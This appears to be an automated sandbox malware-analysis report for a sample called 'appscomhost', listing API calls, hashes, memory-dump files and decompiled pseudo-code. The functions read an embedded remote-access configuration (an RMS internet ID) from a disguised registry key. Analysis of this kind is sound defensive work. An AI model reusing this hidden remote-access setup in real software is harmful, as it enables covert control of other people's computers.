0x004029c0
0x004029ca
0x004029e9
0x004029d1
0x004029d6
0x004029de
0x004029e1
0x004029e6
0x004029e6
0x004029f0
0x004029f0
0x004029fd
0x00402a03
0x00402a15
0x00402a15
0x00402a1b
0x00402a1b
0x00402a26
0x00402a27
0x00402a2b
0x00402a2f
0x00402a35
0x00402a35
0x00402a3c
0x004022e9
0x00402bc5
0x00402bd1

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32 ref: 004029F0
GlobalFree.KERNEL32 ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 7e2c9b61f4aa61cfe16dd7544d7554b9e4c96075e8bee40ce18c47786da93e83
Instruction ID: 63b995a03b46b6b0197775111257559854ccdb1e615162e3d81b194f3b2a53d4
Opcode Fuzzy Hash: 7e2c9b61f4aa61cfe16dd7544d7554b9e4c96075e8bee40ce18c47786da93e83
Instruction Fuzzy Hash: 9021BD71800124BBCF216FA9DE49D9F7E79EF05364F10023AF560762E1CB784D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 100046FC, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 149
registryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E100046FC(void* __ecx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				char* _t41;
				signed int _t45;
				intOrPtr _t47;
				void* _t52;
				signed int _t56;
				char* _t64;
				short* _t69;
				short* _t72;
				void* _t80;
				void* _t83;

				_t80 = __eflags;
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_v16 = _v16 & 0x00000000;
				_v12 = _v12 & 0x00000000;
				_t69 = 0x10027780;
				_v8 = 0x10000;
				 *0x100477a0 = 0;
				E10002B98("SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters", 0x400);
				_t64 = L"InternetId";
				E10002B98(_t64, 0x400);
				E10002B98(0x10027780, 0x400);
				E100023B4(_t64, _t80, 0x10007500,  &_v16, 0, 0x10007500);
				if(E100038AD(_v16, ?str?, 0, 3,  &_v12) != 0) {
					L22:
					_t41 = L"-1";
				} else {
					_t45 = E1000347F(_t64, 0x10027780, _v12, _t64, 0,  &_v20, "<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p",  &_v8);
					_t68 = 0;
					_v16 = _t45;
					if(_t45 == 0) {
						_t83 =  *0x10027780 - _t68; // 0x33
						if(_t83 != 0) {
							_t47 = _v20;
							if(_t47 == 3 || _t47 == 0 || _t47 == 6 || _t47 == 8 || _t47 == 9 || _t47 == 0xa || _t47 == 0xb) {
								_t69 = _v8;
								_t27 = _t69 + 0x100477a0; // 0x100577a0
								_t52 = E10001E51(0x10027780, _t27, 0x10000 - _t69) + _t69;
								__eflags = _t52;
								goto L19;
							} else {
								if(_t47 != 7) {
									__eflags = _t47 - 2;
									if(_t47 == 2) {
										L17:
										_t56 = E10001EAF(_v8 + 0x1004779e, L"%s", 0x10027780);
										_t68 = _v8;
										_t52 = (_t56 << 1) + _v8;
										L19:
										_push(_t52);
										_push("<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p");
										_push(_v20);
										goto L20;
									} else {
										__eflags = _t47 - 1;
										if(_t47 == 1) {
											goto L17;
										}
									}
								} else {
									do {
										if( *_t69 == 0xa) {
											 *_t69 = _t68;
										}
										_t69 = _t69 + 2;
									} while ( *_t69 != _t68);
									_t72 = _t69 + 2;
									 *_t72 = _t68;
									_t69 = (_t72 - 0x10027780 >> 1) + (_t72 - 0x10027780 >> 1) + 2;
									E10001844(_v8 + 0x1004779e, 0x10027780, _t69);
									_push(_v8 + _t69);
									_push("<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p");
									_push(7);
									L20:
									_push(0);
									_push(_t64);
									_push(_v12);
									_v16 = E1000358F(_t68, _t69);
								}
							}
						}
					}
					RegCloseKey(_v12);
					_t41 = "0";
					if(_v16 != 0) {
						goto L22;
					}
				}
				return E10002C7B(_t41);
			}

0x100046fc
0x10004711
0x10004716
0x1000471a
0x1000472e
0x10004730
0x10004737
0x1000473e
0x10004744
0x1000474a
0x10004755
0x10004767
0x10004786
0x100048a0
0x100048a0
0x1000478c
0x1000479f
0x100047a4
0x100047ab
0x100047ae
0x100047b4
0x100047bb
0x100047c1
0x100047c7
0x10004858
0x10004863
0x10004870
0x10004870
0x00000000
0x100047ee
0x100047f1
0x10004830
0x10004833
0x1000483a
0x1000484a
0x1000484f
0x10004854
0x10004872
0x10004872
0x10004873
0x10004878
0x00000000
0x10004835
0x10004835
0x10004838
0x00000000
0x00000000
0x10004838
0x100047f3
0x100047f3
0x100047f7
0x100047f9
0x100047f9
0x100047fd
0x100047fe
0x10004807
0x10004808
0x1000480f
0x1000481c
0x10004826
0x10004827
0x1000482c
0x1000487b
0x1000487b
0x1000487d
0x1000487e
0x10004889
0x10004889
0x100047f1
0x100047c7
0x100047bb
0x1000488f
0x10004899
0x1000489e
0x00000000
0x00000000
0x1000489e
0x100048b0

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00010000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 100034B7
Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(00000007,?,?,?,?,?), ref: 100034E8

RegCloseKey.ADVAPI32(00000000), ref: 1000488F

Strings

InternetId, xrefs: 10004744, 10004749, 1000479B, 1000487D
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 10004729, 1000475A, 1000475F, 10004766, 10004774
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10004724, 10004754, 100047B4, 1000481A, 1000483D, 1000486A
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 10004737, 10004790, 10004827, 10004873

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: QueryValue$ByteCharCloseFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 3735805505-3567409145
Opcode ID: 3753bcd0c112c764e82c676081ace9a5d49f29e41f689b32ea4e6168fff9f110
Instruction ID: 243c4d7ec57fe918d6d0940c97adc4b549421a4db24c1b758ac28f055b654191
Opcode Fuzzy Hash: 3753bcd0c112c764e82c676081ace9a5d49f29e41f689b32ea4e6168fff9f110
Instruction Fuzzy Hash: 4C41CDB1D00285BAFB11DB90CC81FAE77ADEB053C0F618865F604E2159EF74AE548799

Uniqueness

Uniqueness Score: -1.00%

Function 1000544E, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 125
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000544E(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v32;
				char _v36;
				void* __edi;
				void* _t42;
				void* _t48;
				void* _t54;
				void* _t61;
				void* _t71;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;

				_t61 = __ecx;
				_t42 = E100038AD(_a4, _a8, 0, 0x20019,  &_v12);
				_t72 = _t71 + 0x14;
				if(_t42 == 0) {
					_t42 = E1000387B(_a12, _a16, 0, 0, 0, 0xf003f, 0,  &_v28,  &_v36);
					_t73 = _t72 + 0x24;
					if(_t42 == 0) {
						_v8 = 0;
						_v20 = 0x124;
						_v16 = 0x10000;
						 *0x100477a0 = 0;
						_t48 = E10002E37(_v12, 0, 0x100072a0,  &_v20, 0,  &_v32, 0x100477a0,  &_v16);
						_t74 = _t73 + 0x20;
						while(_t48 == 0) {
							_t16 =  &_v8;
							 *_t16 = _v8 + 1;
							__eflags =  *_t16;
							E1000358F(_t61, 0x100477a0, _v28, 0x100072a0, 0, _v32, 0x100477a0, _v16);
							_v20 = 0x124;
							_v16 = 0x10000;
							 *0x100477a0 = 0;
							_t48 = E10002E37(_v12, _v8, 0x100072a0,  &_v20, 0,  &_v32, 0x100477a0,  &_v16);
							_t74 = _t74 + 0x38;
						}
						_v8 = 0;
						_v24 = 0x124;
						_t54 = E10002D5D(_v12, 0, 0x100577c0,  &_v24, 0, 0, 0, 0);
						_t75 = _t74 + 0x20;
						while(_t54 == 0) {
							_t31 =  &_v8;
							 *_t31 = _v8 + 1;
							__eflags =  *_t31;
							E1000544E(_t61,  *_t31, _v12, 0x100577c0, _v28, 0x100577c0);
							_v24 = 0x124;
							_t54 = E10002D5D(_v12, _v8, 0x100577c0,  &_v24, 0, 0, 0, 0);
							_t75 = _t75 + 0x30;
						}
						RegCloseKey(_v12);
						RegCloseKey(_v28);
						return 0;
					}
				}
				return _t42;
			}

0x1000544e
0x10005467
0x1000546c
0x10005471
0x1000548e
0x10005493
0x10005498
0x100054bd
0x100054c0
0x100054c7
0x100054ce
0x100054d4
0x100054d9
0x10005523
0x100054e1
0x100054e1
0x100054e1
0x100054ed
0x10005504
0x1000550e
0x10005515
0x1000551b
0x10005520
0x10005520
0x1000553e
0x10005541
0x10005544
0x10005549
0x10005578
0x1000554e
0x1000554e
0x1000554e
0x10005559
0x1000556a
0x10005570
0x10005575
0x10005575
0x10005585
0x1000558a
0x00000000
0x1000558f
0x10005498
0x10005592

APIs

Part of subcall function 10002E37: RegEnumValueA.ADVAPI32(00000930,?,?,?,000006E8,?,00000000,00000930,?,00000000), ref: 10002E7C
Part of subcall function 10002E37: RegEnumValueA.ADVAPI32(00000930,00000007,?,?,000006E8,?,?,10003FFD,?,?,?,?), ref: 10002EE1

RegCloseKey.ADVAPI32(00000000), ref: 10005585
RegCloseKey.ADVAPI32(?), ref: 1000558A

Strings

SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 1000549E
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 1000549F
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 100054A4, 100054A9, 100054CE, 100054E4, 100054F6, 10005515

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: CloseEnumValue
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 858281747-514642473
Opcode ID: 82aff5650b8e4fa61351becd573e05ead34f7d18829fe6b6ed28be40c8fcc1cd
Instruction ID: 523df42ff7ef02b66a7152bd520a16a74cdafb2b48f53f26892e5cdfd4f1cf67
Opcode Fuzzy Hash: 82aff5650b8e4fa61351becd573e05ead34f7d18829fe6b6ed28be40c8fcc1cd
Instruction Fuzzy Hash: 3641E2B6C0011DBFEF12CAC5CC85DEFBFBDEB09295F104466B904A2124E2369E55DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100045A0, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 123
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E100045A0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed short* _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				signed int _t45;
				signed int _t47;
				void* _t54;
				signed int _t55;
				signed short* _t56;
				intOrPtr _t63;
				signed int _t65;
				void* _t80;

				_t80 = __eflags;
				_push(__ebx);
				_push(__edi);
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_v20 = _v20 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 | 0xffffffff;
				_v16 = 0x10027780;
				_v24 = 0x10000;
				 *0x100477a0 = 0;
				E10002B98(0x10007500, 0x400);
				E10002B98(L"InternetId", 0x400);
				_v32 = E100030BA();
				E100023B4(0x10027780, _t80, 0x10007500,  &_v20, 0, 0x10007500);
				if(E100038AD(_v20, 0x10007500, 0, 1,  &_v8) != 0) {
					L20:
					_t45 = 0x100063e8;
				} else {
					_v12 = E1000347F(0x10027780, L"InternetId", _v8, L"InternetId", 0,  &_v28, 0x100477a0,  &_v24);
					RegCloseKey(_v8);
					if(_v12 != 0) {
						goto L20;
					} else {
						_t54 = E100027C0(0x10027780, 0x10000,  &_v20, _v28, 0x100477a0, _v24);
						_t63 = _v28;
						if(_t63 == 3 || _t63 == 0 || _t63 == 6 || _t63 == 8 || _t63 == 9 || _t63 == 0xa || _t63 == 0xb) {
							_t65 = _v32 + _v32;
						} else {
							_t65 = _v32;
						}
						if(_t65 <= 0) {
							if(__eflags < 0) {
								__eflags =  ~_t65 - _t54;
								if( ~_t65 < _t54) {
									_t55 = _t54 + _t65;
									__eflags = _t55;
									_t56 =  &(0x10027780[_t55]);
									goto L18;
								}
							}
						} else {
							if(_t65 >= _t54) {
								 *0x10027780 =  *0x10027780 & 0x00000000;
							} else {
								_t56 =  &(0x10027780[_t65]);
								L18:
								_v16 = _t56;
							}
						}
						_t45 = _v20;
					}
				}
				E10002C7B(_t45);
				_t47 = _v16;
				if(_v12 != 0) {
					_t47 = 0x100063e8;
				}
				return E10002C7B(_t47);
			}

0x100045a0
0x100045a6
0x100045a8
0x100045b5
0x100045ba
0x100045be
0x100045c2
0x100045d7
0x100045da
0x100045e1
0x100045e8
0x100045f4
0x100045ff
0x10004609
0x10004624
0x100046d6
0x100046d6
0x1000462a
0x10004649
0x1000464c
0x10004656
0x00000000
0x10004658
0x10004669
0x1000466e
0x10004677
0x10004699
0x1000469d
0x1000469d
0x1000469d
0x100046a2
0x100046bb
0x100046c1
0x100046c3
0x100046c5
0x100046c5
0x100046c7
0x00000000
0x100046c7
0x100046c3
0x100046a4
0x100046a6
0x100046b1
0x100046a8
0x100046a8
0x100046ce
0x100046ce
0x100046ce
0x100046a6
0x100046d1
0x100046d1
0x10004656
0x100046dc
0x100046e5
0x100046ec
0x100046ee
0x100046ee
0x100046fb

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00010000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 100034B7
Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(00000007,?,?,?,?,?), ref: 100034E8

RegCloseKey.ADVAPI32(00000000), ref: 1000464C

Strings

InternetId, xrefs: 100045EE, 100045F3, 1000463A
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 100045CC, 100045D6, 100045FE, 10004608, 10004616
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 100045D1, 10004668, 100046B1
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 100045E1, 1000462E, 10004633, 1000465E

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: QueryValue$ByteCharCloseFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 3735805505-3567409145
Opcode ID: d87de50984432f60f426742a6d25c3af3d101a790f7e690f9240e0196bc6aec0
Instruction ID: 2050825871a45bdd784fa5f2d59d59491f3635497cfe19468187b331df60d10b
Opcode Fuzzy Hash: d87de50984432f60f426742a6d25c3af3d101a790f7e690f9240e0196bc6aec0
Instruction Fuzzy Hash: 4D41C2B1D00209ABFF15CB94CC85BAF77BDEF023D0F210029F601A6159EB7559508B96

Uniqueness

Uniqueness Score: -1.00%

Function 100042B0, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 85
registryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E100042B0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				short* _t31;
				short* _t33;
				void* _t59;

				_t59 = __eflags;
				_push(__ebx);
				_push(__edi);
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_v12 = _v12 | 0xffffffff;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0x10000;
				 *0x100477a0 = 0;
				E10002B98(0x10007500, 0x400);
				E10002B98(L"InternetId", 0x400);
				E100023B4(0, _t59, 0x10007500,  &_v16, 0, 0x10007500);
				if(E100038AD(_v16, 0x10007500, 0, 1,  &_v8) != 0) {
					L3:
					_t31 = 0x100063e8;
				} else {
					_v12 = E1000347F(0, L"InternetId", _v8, L"InternetId", 0,  &_v24, 0x100477a0,  &_v20);
					RegCloseKey(_v8);
					if(_v12 != 0) {
						goto L3;
					} else {
						E100027C0("3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076", 0x10000,  &_v16, _v24, 0x100477a0, _v20);
						_t31 = _v16;
					}
				}
				E10002C7B(_t31);
				_t33 = 0x10027780;
				if(_v12 != 0) {
					_t33 = 0x100063e8;
				}
				return E10002C7B(_t33);
			}

0x100042b0
0x100042b6
0x100042b8
0x100042c5
0x100042ca
0x100042dc
0x100042df
0x100042e2
0x100042e9
0x100042ef
0x100042fb
0x10004307
0x10004321
0x10004371
0x10004371
0x10004323
0x10004341
0x10004344
0x1000434d
0x00000000
0x1000434f
0x10004364
0x10004369
0x1000436c
0x1000434d
0x10004377
0x10004383
0x10004388
0x1000438a
0x1000438a
0x10004397

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00010000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 100034B7
Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(00000007,?,?,?,?,?), ref: 100034E8

RegCloseKey.ADVAPI32(?), ref: 10004344

Strings

InternetId, xrefs: 100042F5, 100042FA, 10004332
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 100042D6, 100042DB, 10004300, 10004306, 10004313
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 1000435F, 10004383, 1000438F
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 100042E9, 10004327, 1000432C, 10004355

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: QueryValue$ByteCharCloseFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 3735805505-3567409145
Opcode ID: 16d819903cbd5bcadd4325e2eaa5bdee6117aa497bdff40c02df846ab4ec149c
Instruction ID: da14d6f09df9c476e187c7044975134286627e28dc9b3e8c64bc06710fbf7309
Opcode Fuzzy Hash: 16d819903cbd5bcadd4325e2eaa5bdee6117aa497bdff40c02df846ab4ec149c
Instruction Fuzzy Hash: C821ACB6C00208BBFF11DF958C85DDFBBBDEF05290F6040A6FA14A2115D7359E049BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004066C0(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405D5D(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405D13(L"*?|<>/\":", _t5))) == 0) {
							E00405EC2(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004066c2
0x004066cb
0x004066e2
0x004066e2
0x004066e9
0x004066f5
0x004066f5
0x004066f8
0x004066fb
